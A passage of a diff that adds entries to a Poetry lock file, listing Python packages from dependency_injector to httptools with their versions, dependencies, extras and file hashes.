+ {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6ee9810841c6e0599356cb884d16453bfca6ab739d0e4f0248724ed8f9ee0d79"},
+ {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b98945edae88e777091bf0848f869fb94bd76dfa4066d7c870a5caa933391d0"},
+ {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a2dee5d4abdd21f1a30a51d46645c095be9dcc404c7c6e9f81d0a01415a49e64"},
+ {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d03f5fa0fa98a18bd0dfce846db80e2798607f0b861f1f99c97f441f7669d7a2"},
+ {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:f2842e15bae664a9f69932e922b02afa055c91efec959cb1896f6c499bf68180"},
+]
+
+[package.dependencies]
+six = ">=1.7.0,<=1.16.0"
+
+[package.extras]
+aiohttp = ["aiohttp"]
+flask = ["flask"]
+pydantic = ["pydantic"]
+yaml = ["pyyaml"]
+
+[[package]]
+name = "dnfile"
+version = "0.12.0"
+description = "Parse .NET executable files."
+category = "main"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "dnfile-0.12.0-py2.py3-none-any.whl", hash = "sha256:99a63504da5358814057c8669b14484907a75477922a03b7c49a5ec621aa281e"},
+ {file = "dnfile-0.12.0.tar.gz", hash = "sha256:2beee20810bd4c8437d14a587e2aff1cb0de2a15e5f7fd468c9bc8b24f60a13a"},
+]
+
+[package.dependencies]
+pefile = ">=2019.4.18"
+
+[package.extras]
+test = ["isort (==5.10.1)", "mypy (==0.971)", "pycodestyle (==2.9.1)", "pytest (>=3)"]
+
+[[package]]
+name = "dnspython"
+version = "2.3.0"
+description = "DNS toolkit"
+category = "main"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "dnspython-2.3.0-py3-none-any.whl", hash = "sha256:89141536394f909066cabd112e3e1a37e4e654db00a25308b0f130bc3152eb46"},
+ {file = "dnspython-2.3.0.tar.gz", hash = "sha256:224e32b03eb46be70e12ef6d64e0be123a64e621ab4c0822ff6d450d52a540b9"},
+]
+
+[package.extras]
+curio = ["curio (>=1.2,<2.0)", "sniffio (>=1.1,<2.0)"]
+dnssec = ["cryptography (>=2.6,<40.0)"]
+doh = ["h2 (>=4.1.0)", "httpx (>=0.21.1)", "requests (>=2.23.0,<3.0.0)", "requests-toolbelt (>=0.9.1,<0.11.0)"]
+doq = ["aioquic (>=0.9.20)"]
+idna = ["idna (>=2.1,<4.0)"]
+trio = ["trio (>=0.14,<0.23)"]
+wmi = ["wmi (>=1.5.1,<2.0.0)"]
+
+[[package]]
+name = "docopt"
+version = "0.6.2"
+description = "Pythonic argument parser, that will make you smile"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "docopt-0.6.2.tar.gz", hash = "sha256:49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491"},
+]
+
+[[package]]
+name = "elastic-transport"
+version = "8.4.0"
+description = "Transport classes and utilities shared among Python Elastic client libraries"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "elastic-transport-8.4.0.tar.gz", hash = "sha256:b9ad708ceb7fcdbc6b30a96f886609a109f042c0b9d9f2e44403b3133ba7ff10"},
+ {file = "elastic_transport-8.4.0-py3-none-any.whl", hash = "sha256:19db271ab79c9f70f8c43f8f5b5111408781a6176b54ab2e54d713b6d9ceb815"},
+]
+
+[package.dependencies]
+certifi = "*"
+urllib3 = ">=1.26.2,<2"
+
+[package.extras]
+develop = ["aiohttp", "mock", "pytest", "pytest-asyncio", "pytest-cov", "pytest-httpserver", "pytest-mock", "requests", "trustme"]
+
+[[package]]
+name = "elasticsearch"
+version = "8.7.0"
+description = "Python client for Elasticsearch"
+category = "main"
+optional = false
+python-versions = ">=3.6, <4"
+files = [
+ {file = "elasticsearch-8.7.0-py3-none-any.whl", hash = "sha256:a06482f4c338ab6ace5cf89ee351cf3ee1854083f29a3b875433e608424fb48c"},
+ {file = "elasticsearch-8.7.0.tar.gz", hash = "sha256:1849356db4192fbb75b2b8f3d55edb0fb07f8d855f386b318a7889222b49591f"},
+]
+
+[package.dependencies]
+elastic-transport = ">=8,<9"
+
+[package.extras]
+async = ["aiohttp (>=3,<4)"]
+requests = ["requests (>=2.4.0,<3.0.0)"]
+
+[[package]]
+name = "fastapi"
+version = "0.82.0"
+description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production"
+category = "main"
+optional = false
+python-versions = ">=3.6.1"
+files = [
+ {file = "fastapi-0.82.0-py3-none-any.whl", hash = "sha256:a4269329a7374c78f6e92c195d14cc4ce3a525e25b79e62edf2df8196469743f"},
+ {file = "fastapi-0.82.0.tar.gz", hash = "sha256:5ee7b7473a55940a18d4869ff57d29c372363bf8d3033a0e660a8cf38b1d3d9e"},
+]
+
+[package.dependencies]
+pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0"
+starlette = "0.19.1"
+
+[package.extras]
+all = ["email_validator (>=1.1.1,<2.0.0)", "itsdangerous (>=1.1.0,<3.0.0)", "jinja2 (>=2.11.2,<4.0.0)", "orjson (>=3.2.1,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "pyyaml (>=5.3.1,<7.0.0)", "requests (>=2.24.0,<3.0.0)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"]
+dev = ["autoflake (>=1.4.0,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "passlib[bcrypt] (>=1.7.2,<2.0.0)", "pre-commit (>=2.17.0,<3.0.0)", "python-jose[cryptography] (>=3.3.0,<4.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"]
+doc = ["mdx-include (>=1.4.1,<2.0.0)", "mkdocs (>=1.1.2,<2.0.0)", "mkdocs-markdownextradata-plugin (>=0.1.7,<0.3.0)", "mkdocs-material (>=8.1.4,<9.0.0)", "pyyaml (>=5.3.1,<7.0.0)", "typer (>=0.4.1,<0.5.0)"]
+test = ["anyio[trio] (>=3.2.1,<4.0.0)", "black (==22.3.0)", "databases[sqlite] (>=0.3.2,<0.6.0)", "email_validator (>=1.1.1,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "flask (>=1.1.2,<3.0.0)", "httpx (>=0.14.0,<0.19.0)", "isort (>=5.0.6,<6.0.0)", "mypy (==0.910)", "orjson (>=3.2.1,<4.0.0)", "peewee (>=3.13.3,<4.0.0)", "pytest (>=6.2.4,<7.0.0)", "pytest-cov (>=2.12.0,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "requests (>=2.24.0,<3.0.0)", "sqlalchemy (>=1.3.18,<1.5.0)", "types-dataclasses (==0.6.5)", "types-orjson (==3.6.2)", "types-ujson (==4.2.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)"]
+
+[[package]]
+name = "fastapi-class"
+version = "2.0.0"
+description = "Classes and Decorators to use FastAPI with Class based routing"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "fastapi_class-2.0.0-py3-none-any.whl", hash = "sha256:79c3349bc134a3c8ef54b8eec41265cb78ed3dc300e49550c3c02c8886737090"},
+ {file = "fastapi_class-2.0.0.tar.gz", hash = "sha256:39af59d0529eaa2694793806c3c29ea9ec79134540b17b8df5f50a6602b4991d"},
+]
+
+[package.dependencies]
+fastapi = ">=0.65.2,<0.90.0"
+pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0"
+
+[package.extras]
+lint = ["mypy (==0.991)", "pre-commit (==2.21.0)"]
+test = ["codecov (==2.1.12)", "httpx", "pytest (==7.2.0)", "pytest-asyncio (==0.20.3)", "pytest-cov (==4.0.0)", "requests (==2.28.1)"]
+
+[[package]]
+name = "flake8"
+version = "5.0.4"
+description = "the modular source code checker: pep8 pyflakes and co"
+category = "dev"
+optional = false
+python-versions = ">=3.6.1"
+files = [
+ {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"},
+ {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"},
+]
+
+[package.dependencies]
+mccabe = ">=0.7.0,<0.8.0"
+pycodestyle = ">=2.9.0,<2.10.0"
+pyflakes = ">=2.5.0,<2.6.0"
+
+[[package]]
+name = "flake8-cognitive-complexity"
+version = "0.1.0"
+description = "An extension for flake8 that validates cognitive functions complexity"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "flake8_cognitive_complexity-0.1.0.tar.gz", hash = "sha256:f202df054e4f6ff182b659c261922b9c684628a47beb19cb0973c50d6a7831c1"},
+]
+
+[package.dependencies]
+cognitive_complexity = "*"
+setuptools = "*"
+
+[[package]]
+name = "flask"
+version = "2.3.1"
+description = "A simple framework for building complex web applications."
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "Flask-2.3.1-py3-none-any.whl", hash = "sha256:8ba2a854608fdd603b67dccd4514a46450132227fb9df40127a8d0c1de8769ec"},
+ {file = "Flask-2.3.1.tar.gz", hash = "sha256:a6059db4297106e5a64b3215fa16ae641822c1cb97ecb498573549b2478602cb"},
+]
+
+[package.dependencies]
+blinker = ">=1.6.2"
+click = ">=8.1.3"
+itsdangerous = ">=2.1.2"
+Jinja2 = ">=3.1.2"
+Werkzeug = ">=2.3.0"
+
+[package.extras]
+async = ["asgiref (>=3.2)"]
+dotenv = ["python-dotenv"]
+
+[[package]]
+name = "frozenlist"
+version = "1.3.3"
+description = "A list-like structure which implements collections.abc.MutableSequence"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ff8bf625fe85e119553b5383ba0fb6aa3d0ec2ae980295aaefa552374926b3f4"},
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dfbac4c2dfcc082fcf8d942d1e49b6aa0766c19d3358bd86e2000bf0fa4a9cf0"},
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b1c63e8d377d039ac769cd0926558bb7068a1f7abb0f003e3717ee003ad85530"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fdfc24dcfce5b48109867c13b4cb15e4660e7bd7661741a391f821f23dfdca7"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c926450857408e42f0bbc295e84395722ce74bae69a3b2aa2a65fe22cb14b99"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1841e200fdafc3d51f974d9d377c079a0694a8f06de2e67b48150328d66d5483"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f470c92737afa7d4c3aacc001e335062d582053d4dbe73cda126f2d7031068dd"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:783263a4eaad7c49983fe4b2e7b53fa9770c136c270d2d4bbb6d2192bf4d9caf"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:924620eef691990dfb56dc4709f280f40baee568c794b5c1885800c3ecc69816"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ae4dc05c465a08a866b7a1baf360747078b362e6a6dbeb0c57f234db0ef88ae0"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:bed331fe18f58d844d39ceb398b77d6ac0b010d571cba8267c2e7165806b00ce"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:02c9ac843e3390826a265e331105efeab489ffaf4dd86384595ee8ce6d35ae7f"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9545a33965d0d377b0bc823dcabf26980e77f1b6a7caa368a365a9497fb09420"},
+ {file = "frozenlist-1.3.3-cp310-cp310-win32.whl", hash = "sha256:d5cd3ab21acbdb414bb6c31958d7b06b85eeb40f66463c264a9b343a4e238642"},
+ {file = "frozenlist-1.3.3-cp310-cp310-win_amd64.whl", hash = "sha256:b756072364347cb6aa5b60f9bc18e94b2f79632de3b0190253ad770c5df17db1"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b4395e2f8d83fbe0c627b2b696acce67868793d7d9750e90e39592b3626691b7"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:14143ae966a6229350021384870458e4777d1eae4c28d1a7aa47f24d030e6678"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5d8860749e813a6f65bad8285a0520607c9500caa23fea6ee407e63debcdbef6"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23d16d9f477bb55b6154654e0e74557040575d9d19fe78a161bd33d7d76808e8"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb82dbba47a8318e75f679690190c10a5e1f447fbf9df41cbc4c3afd726d88cb"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9309869032abb23d196cb4e4db574232abe8b8be1339026f489eeb34a4acfd91"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a97b4fe50b5890d36300820abd305694cb865ddb7885049587a5678215782a6b"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c188512b43542b1e91cadc3c6c915a82a5eb95929134faf7fd109f14f9892ce4"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:303e04d422e9b911a09ad499b0368dc551e8c3cd15293c99160c7f1f07b59a48"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:0771aed7f596c7d73444c847a1c16288937ef988dc04fb9f7be4b2aa91db609d"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:66080ec69883597e4d026f2f71a231a1ee9887835902dbe6b6467d5a89216cf6"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:41fe21dc74ad3a779c3d73a2786bdf622ea81234bdd4faf90b8b03cad0c2c0b4"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f20380df709d91525e4bee04746ba612a4df0972c1b8f8e1e8af997e678c7b81"},
+ {file = "frozenlist-1.3.3-cp311-cp311-win32.whl", hash = "sha256:f30f1928162e189091cf4d9da2eac617bfe78ef907a761614ff577ef4edfb3c8"},
+ {file = "frozenlist-1.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:a6394d7dadd3cfe3f4b3b186e54d5d8504d44f2d58dcc89d693698e8b7132b32"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8df3de3a9ab8325f94f646609a66cbeeede263910c5c0de0101079ad541af332"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0693c609e9742c66ba4870bcee1ad5ff35462d5ffec18710b4ac89337ff16e27"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cd4210baef299717db0a600d7a3cac81d46ef0e007f88c9335db79f8979c0d3d"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:394c9c242113bfb4b9aa36e2b80a05ffa163a30691c7b5a29eba82e937895d5e"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6327eb8e419f7d9c38f333cde41b9ae348bec26d840927332f17e887a8dcb70d"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e24900aa13212e75e5b366cb9065e78bbf3893d4baab6052d1aca10d46d944c"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3843f84a6c465a36559161e6c59dce2f2ac10943040c2fd021cfb70d58c4ad56"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:84610c1502b2461255b4c9b7d5e9c48052601a8957cd0aea6ec7a7a1e1fb9420"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:c21b9aa40e08e4f63a2f92ff3748e6b6c84d717d033c7b3438dd3123ee18f70e"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:efce6ae830831ab6a22b9b4091d411698145cb9b8fc869e1397ccf4b4b6455cb"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:40de71985e9042ca00b7953c4f41eabc3dc514a2d1ff534027f091bc74416401"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-win32.whl", hash = "sha256:180c00c66bde6146a860cbb81b54ee0df350d2daf13ca85b275123bbf85de18a"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9bbbcedd75acdfecf2159663b87f1bb5cfc80e7cd99f7ddd9d66eb98b14a8411"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:034a5c08d36649591be1cbb10e09da9f531034acfe29275fc5454a3b101ce41a"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ba64dc2b3b7b158c6660d49cdb1d872d1d0bf4e42043ad8d5006099479a194e5"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:47df36a9fe24054b950bbc2db630d508cca3aa27ed0566c0baf661225e52c18e"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:008a054b75d77c995ea26629ab3a0c0d7281341f2fa7e1e85fa6153ae29ae99c"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:841ea19b43d438a80b4de62ac6ab21cfe6827bb8a9dc62b896acc88eaf9cecba"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e235688f42b36be2b6b06fc37ac2126a73b75fb8d6bc66dd632aa35286238703"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca713d4af15bae6e5d79b15c10c8522859a9a89d3b361a50b817c98c2fb402a2"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ac5995f2b408017b0be26d4a1d7c61bce106ff3d9e3324374d66b5964325448"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:a4ae8135b11652b08a8baf07631d3ebfe65a4c87909dbef5fa0cdde440444ee4"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4ea42116ceb6bb16dbb7d526e242cb6747b08b7710d9782aa3d6732bd8d27649"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:810860bb4bdce7557bc0febb84bbd88198b9dbc2022d8eebe5b3590b2ad6c842"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:ee78feb9d293c323b59a6f2dd441b63339a30edf35abcb51187d2fc26e696d13"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:0af2e7c87d35b38732e810befb9d797a99279cbb85374d42ea61c1e9d23094b3"},
+ {file = "frozenlist-1.3.3-cp38-cp38-win32.whl", hash = "sha256:899c5e1928eec13fd6f6d8dc51be23f0d09c5281e40d9cf4273d188d9feeaf9b"},
+ {file = "frozenlist-1.3.3-cp38-cp38-win_amd64.whl", hash = "sha256:7f44e24fa70f6fbc74aeec3e971f60a14dde85da364aa87f15d1be94ae75aeef"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2b07ae0c1edaa0a36339ec6cce700f51b14a3fc6545fdd32930d2c83917332cf"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ebb86518203e12e96af765ee89034a1dbb0c3c65052d1b0c19bbbd6af8a145e1"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5cf820485f1b4c91e0417ea0afd41ce5cf5965011b3c22c400f6d144296ccbc0"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c11e43016b9024240212d2a65043b70ed8dfd3b52678a1271972702d990ac6d"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8fa3c6e3305aa1146b59a09b32b2e04074945ffcfb2f0931836d103a2c38f936"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:352bd4c8c72d508778cf05ab491f6ef36149f4d0cb3c56b1b4302852255d05d5"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65a5e4d3aa679610ac6e3569e865425b23b372277f89b5ef06cf2cdaf1ebf22b"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e2c1185858d7e10ff045c496bbf90ae752c28b365fef2c09cf0fa309291669"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f163d2fd041c630fed01bc48d28c3ed4a3b003c00acd396900e11ee5316b56bb"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:05cdb16d09a0832eedf770cb7bd1fe57d8cf4eaf5aced29c4e41e3f20b30a784"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8bae29d60768bfa8fb92244b74502b18fae55a80eac13c88eb0b496d4268fd2d"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:eedab4c310c0299961ac285591acd53dc6723a1ebd90a57207c71f6e0c2153ab"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3bbdf44855ed8f0fbcd102ef05ec3012d6a4fd7c7562403f76ce6a52aeffb2b1"},
+ {file = "frozenlist-1.3.3-cp39-cp39-win32.whl", hash = "sha256:efa568b885bca461f7c7b9e032655c0c143d305bf01c30caf6db2854a4532b38"},
+ {file = "frozenlist-1.3.3-cp39-cp39-win_amd64.whl", hash = "sha256:cfe33efc9cb900a4c46f91a5ceba26d6df370ffddd9ca386eb1d4f0ad97b9ea9"},
+ {file = "frozenlist-1.3.3.tar.gz", hash = "sha256:58bcc55721e8a90b88332d6cd441261ebb22342e238296bb330968952fbb3a6a"},
+]
+
+[[package]]
+name = "future"
+version = "0.18.3"
+description = "Clean single-source support for Python 3 and 2"
+category = "main"
+optional = false
+python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*"
+files = [
+ {file = "future-0.18.3.tar.gz", hash = "sha256:34a17436ed1e96697a86f9de3d15a3b0be01d8bc8de9c1dffd59fb8234ed5307"},
+]
+
+[[package]]
+name = "gitdb"
+version = "4.0.10"
+description = "Git Object Database"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "gitdb-4.0.10-py3-none-any.whl", hash = "sha256:c286cf298426064079ed96a9e4a9d39e7f3e9bf15ba60701e95f5492f28415c7"},
+ {file = "gitdb-4.0.10.tar.gz", hash = "sha256:6eb990b69df4e15bad899ea868dc46572c3f75339735663b81de79b06f17eb9a"},
+]
+
+[package.dependencies]
+smmap = ">=3.0.1,<6"
+
+[[package]]
+name = "gitpython"
+version = "3.1.31"
+description = "GitPython is a Python library used to interact with Git repositories"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "GitPython-3.1.31-py3-none-any.whl", hash = "sha256:f04893614f6aa713a60cbbe1e6a97403ef633103cdd0ef5eb6efe0deb98dbe8d"},
+ {file = "GitPython-3.1.31.tar.gz", hash = "sha256:8ce3bcf69adfdf7c7d503e78fd3b1c492af782d58893b650adb2ac8912ddd573"},
+]
+
+[package.dependencies]
+gitdb = ">=4.0.1,<5"
+
+[[package]]
+name = "h11"
+version = "0.14.0"
+description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"},
+ {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"},
+]
+
+[[package]]
+name = "httpcore"
+version = "0.16.3"
+description = "A minimal low-level HTTP client."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "httpcore-0.16.3-py3-none-any.whl", hash = "sha256:da1fb708784a938aa084bde4feb8317056c55037247c787bd7e19eb2c2949dc0"},
+ {file = "httpcore-0.16.3.tar.gz", hash = "sha256:c5d6f04e2fc530f39e0c077e6a30caa53f1451096120f1f38b954afd0b17c0cb"},
+]
+
+[package.dependencies]
+anyio = ">=3.0,<5.0"
+certifi = "*"
+h11 = ">=0.13,<0.15"
+sniffio = ">=1.0.0,<2.0.0"
+
+[package.extras]
+http2 = ["h2 (>=3,<5)"]
+socks = ["socksio (>=1.0.0,<2.0.0)"]
+
+[[package]]
+name = "httptools"
+version = "0.5.0"
+description = "A collection of framework independent HTTP protocol utils."
+category = "main"
+optional = false
+python-versions = ">=3.5.0"
+files = [
+ {file = "httptools-0.5.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8f470c79061599a126d74385623ff4744c4e0f4a0997a353a44923c0b561ee51"},
+ {file = "httptools-0.5.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e90491a4d77d0cb82e0e7a9cb35d86284c677402e4ce7ba6b448ccc7325c5421"},
+ {file = "httptools-0.5.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1d2357f791b12d86faced7b5736dea9ef4f5ecdc6c3f253e445ee82da579449"},
+ {file = "httptools-0.5.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f90cd6fd97c9a1b7fe9215e60c3bd97336742a0857f00a4cb31547bc22560c2"},
+ {file = "httptools-0.5.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:5230a99e724a1bdbbf236a1b58d6e8504b912b0552721c7c6b8570925ee0ccde"},
+ {file = "httptools-0.5.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:3a47a34f6015dd52c9eb629c0f5a8a5193e47bf2a12d9a3194d231eaf1bc451a"},
+ {file = "httptools-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:24bb4bb8ac3882f90aa95403a1cb48465de877e2d5298ad6ddcfdebec060787d"},
